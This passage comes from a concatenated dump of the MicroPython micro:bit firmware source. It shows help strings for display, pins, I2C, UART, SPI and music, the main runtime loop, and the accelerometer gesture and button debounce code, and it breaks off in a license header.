scroll string 's' with a delay of 'i' milliseconds after\neach character.\n"}, {µbit_display_clear_obj, "Use clear() to clear micro:bit's display.\n"}, {µbit_display_get_pixel_obj, "Use get_pixel(x, y) to return the display's brightness at LED pixel (x,y).\nBrightness can be from 0 (LED is off) to 9 (maximum LED brightness).\n"}, {µbit_display_set_pixel_obj, "Use set_pixel(x, y, b) to set the display at LED pixel (x,y) to brightness 'b'\nwhich can be set between 0 (off) to 9 (full brightness).\n"}, {µbit_display_on_obj, "Use on() to turn on the display.\n"}, {µbit_display_off_obj, "Use off() to turn off the display.\n"}, {µbit_display_is_on_obj, "Use is_on() to query if the micro:bit's display is on (True) or off (False).\n"}, {µbit_display_read_light_level_obj, "Use read_light_level() to get the ambient light level, between 0 (dark) and 255 (bright).\n"}, // Pins {µbit_p0_obj, "micro:bit's pin 0 on the gold edge connector.\n"}, {µbit_p1_obj, "micro:bit's pin 1 on the gold edge connector.\n"}, {µbit_p2_obj, "micro:bit's pin 2 on the gold edge connector.\n"}, {µbit_p3_obj, "micro:bit's pin 3 on the gold edge connector.\n"}, {µbit_p4_obj, "micro:bit's pin 4 on the gold edge connector.\n"}, {µbit_p5_obj, "micro:bit's pin 5 on the gold edge connector.\n"}, {µbit_p6_obj, "micro:bit's pin 6 on the gold edge connector.\n"}, {µbit_p7_obj, "micro:bit's pin 7 on the gold edge connector.\n"}, {µbit_p8_obj, "micro:bit's pin 8 on the gold edge connector.\n"}, {µbit_p9_obj, "micro:bit's pin 9 on the gold edge connector.\n"}, {µbit_p10_obj, "micro:bit's pin 10 on the gold edge connector.\n"}, {µbit_p11_obj, "micro:bit's pin 11 on the gold edge connector.\n"}, {µbit_p12_obj, "micro:bit's pin 12 on the gold edge connector.\n"}, {µbit_p13_obj, "micro:bit's pin 13 on the gold edge connector.\n"}, {µbit_p14_obj, "micro:bit's pin 14 on the gold edge connector.\n"}, {µbit_p15_obj, "micro:bit's pin 15 on the gold edge connector.\n"}, {µbit_p16_obj, "micro:bit's pin 16 on the gold edge connector.\n"}, {µbit_p19_obj, "micro:bit's pin 19 on the gold edge connector.\n"}, {µbit_p20_obj, "micro:bit's pin 20 on the gold edge connector.\n"}, {µbit_pin_write_digital_obj, "micro:bit, write_digital(choice) to the pin. You have two 'choice' values,\n0 (lo) or 1 (hi).\n"}, {µbit_pin_read_digital_obj, "micro:bit, read_digital() value from the pin as either 0 (lo) or 1 (hi).\n"}, {µbit_pin_write_analog_obj, "micro:bit, write_analog(value) to the pin. You can use any value between\n0 and 1023.\n"}, {µbit_pin_read_analog_obj, "micro:bit, read_analog() value from the pin. Wow, analog has lots of values\n(0 - 65535). Digital has only 0 and 1.\n"}, {µbit_pin_is_touched_obj, "If pin is_touched() on micro:bit, return True. If nothing is touching the pin,\nreturn False.\n"}, // I2C {µbit_i2c_obj, "Communicate with one or more named devices connected to micro:bit. Each named\ndevice has an 'address', communicates using I2C, and connects to the I/O pins.\n"}, {µbit_i2c_read_obj, "Use read(address, n) to read 'n' bytes from the device with this address.\n"}, {µbit_i2c_write_obj, "Use write(address, buffer) to write to the 'buffer' of the device at this 'address'.\n"}, {µbit_i2c_init_obj, "Use init(frequency, scl, sda) to set the bus frequency and pins.\n"}, // Image {µbit_image_type, "Create and use built-in IMAGES to show on the display. Use:\nImage(\n '09090:'\n '99999:'\n '99999:'\n '09990:'\n '00900:')\n...to make a new 5x5 heart image. Numbers go from 0 (off) to 9 (brightest). Note\nthe colon ':' to set the end of a row.\n"}, {µbit_image_width_obj, "Return the width of the image in pixels.\n"}, {µbit_image_height_obj, "Return the height of the image in pixels.\n"}, {µbit_image_get_pixel_obj, "Use get_pixel(x, y) to return the image's brightness at LED pixel (x,y).\nBrightness can be from 0 (LED is off) to 9 (maximum LED brightness).\n"}, {µbit_image_set_pixel_obj, "Use set_pixel(x, y, b) to set the LED pixel (x,y) in the image to brightness\n'b' which can be set between 0 (off) to 9 (full brightness).\n"}, {µbit_image_shift_left_obj, "Use shift_left(i) to make a copy of the image but moved 'i' pixels to the left.\n"}, {µbit_image_shift_right_obj, "Use shift_right(i) to make a copy of the image but moved 'i' pixels to\nthe right.\n"}, {µbit_image_shift_up_obj, "Use shift_up(i) to make a copy of the image but moved 'i' pixels up.\n"}, {µbit_image_shift_down_obj, "Use shift_down(i) to make a copy of the image but moved 'i' pixels down.\n"}, {µbit_image_copy_obj, "Use copy() to make a new exact copy of the image.\n"}, {µbit_image_crop_obj, "Use crop(x1, y1, x2, y2) to make a cut-out copy of the image where coordinate\n(x1,y1) is the top left corner of the cut-out area and coordinate (x2,y2) is the\nbottom right corner.\n"}, {µbit_image_invert_obj, "Use invert() to make a negative copy of the image. Where a pixel was bright or\non in the original, it is dim or off in the negative copy.\n"}, // uart {µbit_uart_obj, "Communicate with a serial device connected to micro:bit's I/O pins.\n"}, {µbit_uart_init_obj, "Use init() to set up communication. Use pins 0 (TX) and 1 (RX) with a baud\nrate of 9600.\nOverride the defaults for 'baudrate', 'parity' and 'pins'.\n"}, {µbit_uart_any_obj, "If there are incoming characters waiting to be read, any() will return True.\nOtherwise, returns False.\n"}, {&mp_stream_read_obj, "Use read() to read characters.\nUse read(n) to read, at most, 'n' bytes of data.\n"}, {&mp_stream_unbuffered_readline_obj, "Use readline() to read a line that ends with a newline character.\n"}, {&mp_stream_readinto_obj, "Use readinto(buf) to read bytes into the buffer 'buf'.\nUse readinto(buff, n) to read, at most, 'n' number of bytes into 'buf'.\n"}, {&mp_stream_write_obj, "Use write(buf) to write the bytes in buffer 'buf' to the connected device.\n"}, // SPI {µbit_spi_obj, "Communicate using a serial peripheral interface (SPI) device connected to\nmicro:bit's I/O pins.\n"}, {µbit_spi_init_obj, "Use init() to set up communication. Override the defaults for baudrate, mode,\nSCLK, MOSI and MISO. The default connections are pin13 for SCLK, pin15 for\nMOSI and pin14 for MISO.\n"}, {µbit_spi_write_obj, "Use write(buf) to write bytes in buffer 'buf' to the connected device.\n"}, {µbit_spi_read_obj, "Use read(n) to read 'n' bytes of data.\n"}, {µbit_spi_write_readinto_obj, "Use write_readinto(out, in) to write the 'out' buffer to the connected device\nand read any response into the 'in' buffer. The length of the buffers should\nbe the same. The buffers can be the same object.\n"}, // Music module {&music_module, "Plug in a speaker with crocodile clips and make micro:bit go bleep and bloop.\n"}, {µbit_music_set_tempo_obj, "Use set_tempo(number, bpm) to make a beat last a 'number' of ticks long and\nplayed at 'bpm' beats per minute.\n"}, {µbit_music_pitch_obj, "Use pitch(freq, length) to make micro:bit play a note at 'freq' frequency for\n'length' milliseconds. E.g. pitch(440, 1000) will play concert 'A' for 1 second.\n"}, {µbit_music_play_obj, "Use play(music) to make micro:bit play 'music' list of notes. Try out the\nbuilt in music to see how it works. E.g. music.play(music.PUNCHLINE).\n"}, {µbit_music_get_tempo_obj, "Use get_tempo() to return the number of ticks in a beat and number of beats\nper minute.\n"}, {µbit_music_stop_obj, "Use to stop() the music that is playing.\n"}, {µbit_music_reset_obj, "If things go wrong, reset() the music to its default settings.\n"}, // Antigravity {&antigravity_module, "See: http://xkcd.com/353/\n"}, // This module {&this_module, "The Zen of Python defines what it is to be Pythonic. It wouldn't fit on this\ndevice so we've written a Zen of MicroPython instead.\n"}, {&this_authors_obj, "Use authors() to reveal the names of the people who created this software.\n"}, // Love module {&love_module, "All you need. Use love.badaboom() to repeat the effect.\n"}, {&love_badaboom_obj, "Hear my soul speak:\nThe very instant that I saw you, did\nMy heart fly to your service.\n"}, }; bool mp_plat_specific_help(mp_obj_t args0) { mp_obj_type_t *args0_type = mp_obj_get_type(args0); // see if we have specific help info for this instance for (size_t i = 0; i < MP_ARRAY_SIZE(help_table_instances); i++) { if (args0 == help_table_instances[i].obj) { mp_print_str(&mp_plat_print, help_table_instances[i].doc); //if (args0_type == &mp_type_module) { //TODO here we can list the things inside the module //} return true; } } // see if we have specific help info for this type for (size_t i = 0; i < MP_ARRAY_SIZE(help_table_types); i++) { if (args0 == help_table_types[i].obj || args0_type == help_table_types[i].obj) { mp_print_str(&mp_plat_print, help_table_types[i].doc); return true; } } return false; } ================================================ FILE: micropython/source/microbit/main.cpp ================================================ #include "lib/ticker.h" #include "lib/pwm.h" #include "microbit/memory.h" #include "microbit/filesystem.h" #include "microbit/microbitdal.h" #include "MicroBitButton.h" // Global instances of the mbed/DAL components that we use gpio_t reset_button_gpio; gpio_irq_t reset_button_gpio_irq; MicroBitDisplay ubit_display; MicroPythonI2C ubit_i2c(I2C_SDA0, I2C_SCL0); // Global pointers to instances of DAL components that are created dynamically MicroBitAccelerometer *ubit_accelerometer; MicroBitCompass *ubit_compass; MicroBitCompassCalibrator *ubit_compass_calibrator; extern "C" { #include "py/stackctrl.h" #include "py/gc.h" #include "py/compile.h" #include "py/runtime.h" #include "py/mphal.h" #include "lib/mp-readline/readline.h" #include "lib/utils/pyexec.h" #include "microbit/modmicrobit.h" #include "microbit/modmusic.h" void reset_button_handler(uint32_t data, gpio_irq_event event) { (void)data; if (event == IRQ_FALL) { microbit_reset(); } } void microbit_ticker(void) { // Update compass if it is calibrating, but not if it is still // updating as compass.idleTick() is not reentrant. if (ubit_compass->isCalibrating() && !compass_updating) { ubit_compass->idleTick(); } compass_up_to_date = false; accelerometer_up_to_date = false; // Update buttons and pins with touch. microbit_button_tick(); // Update the display. microbit_display_tick(); // Update the music microbit_music_tick(); } static void microbit_display_exception(mp_obj_t exc_in) { mp_uint_t n, *values; mp_obj_exception_get_traceback(exc_in, &n, &values); if (1) { vstr_t vstr; mp_print_t print; vstr_init_print(&vstr, 50, &print); #if MICROPY_ENABLE_SOURCE_LINE if (n >= 3) { mp_printf(&print, "line %u ", values[1]); } #endif if (mp_obj_is_native_exception_instance(exc_in)) { mp_obj_exception_t *exc = (mp_obj_exception_t*)MP_OBJ_TO_PTR(exc_in); mp_printf(&print, "%q ", exc->base.type->name); if (exc->args != NULL && exc->args->len != 0) { mp_obj_print_helper(&print, exc->args->items[0], PRINT_STR); } } // Allow ctrl-C to stop the scrolling message mp_hal_set_interrupt_char(CHAR_CTRL_C); mp_hal_display_string(vstr_null_terminated_str(&vstr)); vstr_clear(&vstr); mp_hal_set_interrupt_char(-1); // This is a variant of mp_handle_pending that swallows exceptions #if MICROPY_ENABLE_SCHEDULER #error Scheduler currently unsupported #endif if (MP_STATE_VM(mp_pending_exception) != MP_OBJ_NULL) { MP_STATE_VM(mp_pending_exception) = MP_OBJ_NULL; } } } static void do_lexer(mp_lexer_t *lex) { if (lex == NULL) { printf("MemoryError: lexer could not allocate memory\n"); return; } nlr_buf_t nlr; if (nlr_push(&nlr) == 0) { qstr source_name = lex->source_name; mp_parse_tree_t parse_tree = mp_parse(lex, MP_PARSE_FILE_INPUT); mp_obj_t module_fun = mp_compile(&parse_tree, source_name, MP_EMIT_OPT_NONE, false); mp_hal_set_interrupt_char(3); // allow ctrl-C to interrupt us mp_call_function_0(module_fun); mp_hal_set_interrupt_char(-1); // disable interrupt nlr_pop(); } else { // uncaught exception mp_hal_set_interrupt_char(-1); // disable interrupt // print exception to stdout mp_obj_print_exception(&mp_plat_print, (mp_obj_t)nlr.ret_val); // print exception to the display, but not if it's SystemExit or KeyboardInterrupt mp_obj_type_t *exc_type = mp_obj_get_type((mp_obj_t)nlr.ret_val); if (!mp_obj_is_subclass_fast(exc_type, &mp_type_SystemExit) && !mp_obj_is_subclass_fast(exc_type, &mp_type_KeyboardInterrupt)) { microbit_display_exception(nlr.ret_val); } } } static void do_strn(const char *src, size_t len) { mp_lexer_t *lex = mp_lexer_new_from_str_len(MP_QSTR___main__, src, len, 0); do_lexer(lex); } static void do_file(file_descriptor_obj *fd) { mp_lexer_t *lex = microbit_file_lexer(MP_QSTR___main__, fd); do_lexer(lex); } typedef struct _appended_script_t { byte header[2]; // should be "MP" uint16_t len; // length of script stored little endian char str[]; // data of script } appended_script_t; #define APPENDED_SCRIPT ((const appended_script_t*)microbit_mp_appended_script()) int main(void) { // Configure the soft reset button gpio_init_in(&reset_button_gpio, MICROBIT_PIN_BUTTON_RESET); gpio_mode(&reset_button_gpio, PullUp); gpio_irq_init(&reset_button_gpio_irq, MICROBIT_PIN_BUTTON_RESET, &reset_button_handler, 1 /* dummy, must be non-zero */); gpio_irq_set(&reset_button_gpio_irq, IRQ_FALL, 1); // Create dynamically-allocated DAL components ubit_accelerometer = &MicroBitAccelerometer::autoDetect(ubit_i2c); ubit_compass = &MicroBitCompass::autoDetect(ubit_i2c); ubit_compass_calibrator = new MicroBitCompassCalibrator(*ubit_compass, *ubit_accelerometer, ubit_display); for (;;) { extern uint32_t __StackTop; static uint32_t mp_heap[10240 / sizeof(uint32_t)]; // Initialise memory regions: stack and MicroPython heap mp_stack_set_top(&__StackTop); mp_stack_set_limit(1800); // stack is 2k gc_init(mp_heap, (uint8_t*)mp_heap + sizeof(mp_heap)); // Initialise the MicroPython runtime mp_init(); mp_hal_init(); readline_init0(); // Initialise the micro:bit peripherals microbit_seed_random(); ubit_display.disable(); microbit_display_init(); microbit_filesystem_init(); microbit_pin_init(); microbit_compass_init(); pwm_init(); MP_STATE_PORT(radio_buf) = NULL; // Start our ticker // Note that the DAL has a separate ticker which is also running ticker_init(microbit_ticker); ticker_start(); pwm_start(); // Only run initial script (or import from microbit) if we are in "friendly REPL" // mode. If we are in "raw REPL" mode then this will be skipped. if (pyexec_mode_kind == PYEXEC_MODE_FRIENDLY_REPL) { file_descriptor_obj *main_module; if ((main_module = microbit_file_open("main.py", 7, false, false))) { do_file(main_module); } else if (APPENDED_SCRIPT->header[0] == 'M' && APPENDED_SCRIPT->header[1] == 'P') { // run appended script do_strn(APPENDED_SCRIPT->str, APPENDED_SCRIPT->len); } else { // from microbit import * mp_import_all(mp_import_name(MP_QSTR_microbit, mp_const_empty_tuple, MP_OBJ_NEW_SMALL_INT(0))); } } // Run the REPL until the user wants to exit for (;;) { if (pyexec_mode_kind == PYEXEC_MODE_RAW_REPL) { if (pyexec_raw_repl() != 0) { break; } } else { if (pyexec_friendly_repl() != 0) { break; } } } // Print the special string for pyboard.py to detect the soft reset mp_hal_stdout_tx_str("soft reboot\r\n"); // Stop the ticker to prevent any background tasks from running ticker_stop(); // Reset state associated with background tasks memset(&MP_STATE_PORT(async_data)[0], 0, sizeof(MP_STATE_PORT(async_data))); MP_STATE_PORT(audio_buffer) = NULL; MP_STATE_PORT(music_data) = NULL; } } mp_import_stat_t mp_import_stat(const char *path) { if (microbit_find_file(path, strlen(path)) != FILE_NOT_FOUND) { return MP_IMPORT_STAT_FILE; } return MP_IMPORT_STAT_NO_EXIST; } NORETURN void nlr_jump_fail(void *val) { (void)val; for (;;) { } } // We need to override this function so that the linker does not pull in // unnecessary code and static RAM usage for unused system exit functionality. // There can be large static data structures to store the exit functions. void __register_exitproc() { } } ================================================ FILE: micropython/source/microbit/microbitaccelerometer.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "microbit/microbitdal.h" extern "C" { #include "py/runtime.h" #include "microbit/modmicrobit.h" typedef struct _microbit_accelerometer_obj_t { mp_obj_base_t base; } microbit_accelerometer_obj_t; volatile bool accelerometer_up_to_date = false; volatile bool accelerometer_updating = false; #define GESTURE_LIST_SIZE (8) // We store this state globally instead of in a microbit_accelerometer_obj_t // struct so that that whole struct does not need to go in RAM. volatile uint16_t gesture_state = 0; // 1 bit per gesture volatile uint8_t gesture_list_cur = 0; // index into gesture_list volatile uint8_t gesture_list[GESTURE_LIST_SIZE] = {0}; // list of pending gestures, 4-bits per element static void update(microbit_accelerometer_obj_t *self) { /* The only time it is possible for accelerometer_updating to be true here * is if this is called in an interrupt when it is already updating in * the main execution thread. This is extremely unlikely, so we just * accept that a slightly out-of-date result will be returned */ (void)self; if (!accelerometer_up_to_date && !accelerometer_updating) { accelerometer_up_to_date = true; accelerometer_updating = true; ubit_accelerometer->idleTick(); accelerometer_updating = false; } } void microbit_accelerometer_event_handler(const MicroBitEvent *evt) { if (evt->value > MICROBIT_ACCELEROMETER_EVT_NONE && evt->value <= MICROBIT_ACCELEROMETER_EVT_SHAKE) { gesture_state |= 1 << evt->value; if (gesture_list_cur < 2 * GESTURE_LIST_SIZE) { uint8_t entry = gesture_list[gesture_list_cur >> 1]; if (gesture_list_cur & 1) { entry = (entry & 0x0f) | evt->value << 4; } else { entry = (entry & 0xf0) | evt->value; } gesture_list[gesture_list_cur >> 1] = entry; ++gesture_list_cur; } } } mp_obj_t microbit_accelerometer_get_x(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_accelerometer->getX()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_x_obj, microbit_accelerometer_get_x); mp_obj_t microbit_accelerometer_get_y(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_accelerometer->getY()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_y_obj, microbit_accelerometer_get_y); mp_obj_t microbit_accelerometer_get_z(mp_obj_t self_in) { (void)self_in; return mp_obj_new_int(ubit_accelerometer->getZ()); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_z_obj, microbit_accelerometer_get_z); mp_obj_t microbit_accelerometer_get_values(mp_obj_t self_in) { (void)self_in; mp_obj_tuple_t *tuple = (mp_obj_tuple_t *)mp_obj_new_tuple(3, NULL); Sample3D sample = ubit_accelerometer->getSample(); tuple->items[0] = mp_obj_new_int(sample.x); tuple->items[1] = mp_obj_new_int(sample.y); tuple->items[2] = mp_obj_new_int(sample.z); return tuple; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_values_obj, microbit_accelerometer_get_values); STATIC const qstr gesture_name_map[] = { [MICROBIT_ACCELEROMETER_EVT_NONE] = MP_QSTR_NULL, [MICROBIT_ACCELEROMETER_EVT_TILT_UP] = MP_QSTR_up, [MICROBIT_ACCELEROMETER_EVT_TILT_DOWN] = MP_QSTR_down, [MICROBIT_ACCELEROMETER_EVT_TILT_LEFT] = MP_QSTR_left, [MICROBIT_ACCELEROMETER_EVT_TILT_RIGHT] = MP_QSTR_right, [MICROBIT_ACCELEROMETER_EVT_FACE_UP] = MP_QSTR_face_space_up, [MICROBIT_ACCELEROMETER_EVT_FACE_DOWN] = MP_QSTR_face_space_down, [MICROBIT_ACCELEROMETER_EVT_FREEFALL] = MP_QSTR_freefall, [MICROBIT_ACCELEROMETER_EVT_3G] = MP_QSTR_3g, [MICROBIT_ACCELEROMETER_EVT_6G] = MP_QSTR_6g, [MICROBIT_ACCELEROMETER_EVT_8G] = MP_QSTR_8g, [MICROBIT_ACCELEROMETER_EVT_SHAKE] = MP_QSTR_shake, }; STATIC uint32_t gesture_from_obj(mp_obj_t gesture_in) { qstr gesture = mp_obj_str_get_qstr(gesture_in); for (uint i = 0; i < MP_ARRAY_SIZE(gesture_name_map); ++i) { if (gesture == gesture_name_map[i]) { return i; } } mp_raise_ValueError("invalid gesture"); } mp_obj_t microbit_accelerometer_current_gesture(mp_obj_t self_in) { microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in; update(self); return MP_OBJ_NEW_QSTR(gesture_name_map[ubit_accelerometer->getGesture()]); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_current_gesture_obj, microbit_accelerometer_current_gesture); mp_obj_t microbit_accelerometer_is_gesture(mp_obj_t self_in, mp_obj_t gesture_in) { microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in; uint32_t gesture = gesture_from_obj(gesture_in); update(self); return mp_obj_new_bool(ubit_accelerometer->getGesture() == gesture); } MP_DEFINE_CONST_FUN_OBJ_2(microbit_accelerometer_is_gesture_obj, microbit_accelerometer_is_gesture); mp_obj_t microbit_accelerometer_was_gesture(mp_obj_t self_in, mp_obj_t gesture_in) { microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in; uint32_t gesture = gesture_from_obj(gesture_in); update(self); mp_obj_t result = mp_obj_new_bool(gesture_state & (1 << gesture)); gesture_state &= (~(1 << gesture)); gesture_list_cur = 0; return result; } MP_DEFINE_CONST_FUN_OBJ_2(microbit_accelerometer_was_gesture_obj, microbit_accelerometer_was_gesture); mp_obj_t microbit_accelerometer_get_gestures(mp_obj_t self_in) { microbit_accelerometer_obj_t *self = (microbit_accelerometer_obj_t*)self_in; update(self); if (gesture_list_cur == 0) { return mp_const_empty_tuple; } mp_obj_tuple_t *o = (mp_obj_tuple_t*)mp_obj_new_tuple(gesture_list_cur, NULL); for (uint i = 0; i < gesture_list_cur; ++i) { uint gesture = (gesture_list[i >> 1] >> (4 * (i & 1))) & 0x0f; o->items[i] = MP_OBJ_NEW_QSTR(gesture_name_map[gesture]); } gesture_list_cur = 0; return o; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_accelerometer_get_gestures_obj, microbit_accelerometer_get_gestures); STATIC const mp_map_elem_t microbit_accelerometer_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_get_x), (mp_obj_t)µbit_accelerometer_get_x_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_y), (mp_obj_t)µbit_accelerometer_get_y_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_z), (mp_obj_t)µbit_accelerometer_get_z_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_values), (mp_obj_t)µbit_accelerometer_get_values_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_current_gesture), (mp_obj_t)µbit_accelerometer_current_gesture_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_is_gesture), (mp_obj_t)µbit_accelerometer_is_gesture_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_was_gesture), (mp_obj_t)µbit_accelerometer_was_gesture_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_gestures), (mp_obj_t)µbit_accelerometer_get_gestures_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_accelerometer_locals_dict, microbit_accelerometer_locals_dict_table); const mp_obj_type_t microbit_accelerometer_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitAccelerometer, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_accelerometer_locals_dict, }; const microbit_accelerometer_obj_t microbit_accelerometer_obj = { {µbit_accelerometer_type}, }; } ================================================ FILE: micropython/source/microbit/microbitbutton.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ extern "C" { #include "nrf_gpio.h" #include "py/runtime.h" #include "microbit/modmicrobit.h" typedef struct _microbit_button_obj_t { mp_obj_base_t base; const microbit_pin_obj_t *pin; uint8_t index; } microbit_button_obj_t; /* Stores pressed count in top 31 bits and was_pressed in the low bit */ static mp_uint_t pressed[2]; static int8_t sigmas[8] = { 5, 5, 5, 5, 5, 5, 5, 5 }; static bool debounced_high[8] = { true, true, true, true, true, true, true, true }; mp_obj_t microbit_button_is_pressed(mp_obj_t self_in) { microbit_button_obj_t *self = (microbit_button_obj_t*)self_in; /* Button is pressed if pin is low */ return mp_obj_new_bool(!debounced_high[self->pin->number&7]); } MP_DEFINE_CONST_FUN_OBJ_1(microbit_button_is_pressed_obj, microbit_button_is_pressed); mp_obj_t microbit_button_get_presses(mp_obj_t self_in) { microbit_button_obj_t *self = (microbit_button_obj_t*)self_in; mp_obj_t n_presses = mp_obj_new_int(pressed[self->index] >> 1); pressed[self->index] &= 1; return n_presses; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_button_get_presses_obj, microbit_button_get_presses); mp_obj_t microbit_button_was_pressed(mp_obj_t self_in) { microbit_button_obj_t *self = (microbit_button_obj_t*)self_in; mp_int_t presses = pressed[self->index]; mp_obj_t result = mp_obj_new_bool(presses & 1); pressed[self->index] = presses & -2; return result; } MP_DEFINE_CONST_FUN_OBJ_1(microbit_button_was_pressed_obj, microbit_button_was_pressed); STATIC const mp_map_elem_t microbit_button_locals_dict_table[] = { { MP_OBJ_NEW_QSTR(MP_QSTR_is_pressed), (mp_obj_t)µbit_button_is_pressed_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_was_pressed), (mp_obj_t)µbit_button_was_pressed_obj }, { MP_OBJ_NEW_QSTR(MP_QSTR_get_presses), (mp_obj_t)µbit_button_get_presses_obj }, }; STATIC MP_DEFINE_CONST_DICT(microbit_button_locals_dict, microbit_button_locals_dict_table); STATIC const mp_obj_type_t microbit_button_type = { { &mp_type_type }, .name = MP_QSTR_MicroBitButton, .print = NULL, .make_new = NULL, .call = NULL, .unary_op = NULL, .binary_op = NULL, .attr = NULL, .subscr = NULL, .getiter = NULL, .iternext = NULL, .buffer_p = {NULL}, .protocol = NULL, .parent = NULL, .locals_dict = (mp_obj_dict_t*)µbit_button_locals_dict, }; const microbit_button_obj_t microbit_button_a_obj = { {µbit_button_type}, .pin = µbit_p5_obj, .index = 0, }; const microbit_button_obj_t microbit_button_b_obj = { {µbit_button_type}, .pin = µbit_p11_obj, .index = 1, }; enum PinTransition { LOW_LOW = 0, LOW_HIGH = 1, HIGH_LOW = 2, HIGH_HIGH = 3 }; static PinTransition update(const microbit_pin_obj_t *pin) { int32_t sigma = sigmas[pin->number&7]; PinTransition result; if (nrf_gpio_pin_read(pin->name)) sigma++; else sigma--; if (sigma < 3) { if (sigma < 0) { sigma = 0; result = LOW_LOW; } else if (debounced_high[pin->number&7]) { result = HIGH_LOW; debounced_high[pin->number&7] = false; } else { result = LOW_LOW; } } else if (sigma > 7) { if (sigma > 12) { sigma = 12; result = HIGH_HIGH; } else if (debounced_high[pin->number&7]) { result = HIGH_HIGH; } else { result = LOW_HIGH; debounced_high[pin->number&7] = true; } } else if (debounced_high[pin->number&7]) { result = HIGH_HIGH; } else { result = LOW_LOW; } sigmas[pin->number&7] = sigma; return result; } void microbit_button_tick(void) { // Update both buttons and the touch pins. // Button is pressed when its pin transfers from HIGH to LOW. if (update(microbit_button_a_obj.pin) == HIGH_LOW) pressed[microbit_button_a_obj.index] = (pressed[microbit_button_a_obj.index] + 2) | 1; if (update(microbit_button_b_obj.pin) == HIGH_LOW) pressed[microbit_button_b_obj.index] = (pressed[microbit_button_b_obj.index] + 2) | 1; if (microbit_pin_get_mode(µbit_p0_obj) == microbit_pin_mode_touch) update(µbit_p0_obj); if (microbit_pin_get_mode(µbit_p1_obj) == microbit_pin_mode_touch) update(µbit_p1_obj); if (microbit_pin_get_mode(µbit_p2_obj) == microbit_pin_mode_touch) update(µbit_p2_obj); } bool microbit_pin_high_debounced(microbit_pin_obj_t *pin) { return debounced_high[pin->number&7]; } } ================================================ FILE: micropython/source/microbit/microbitcompass.cpp ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2015 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * 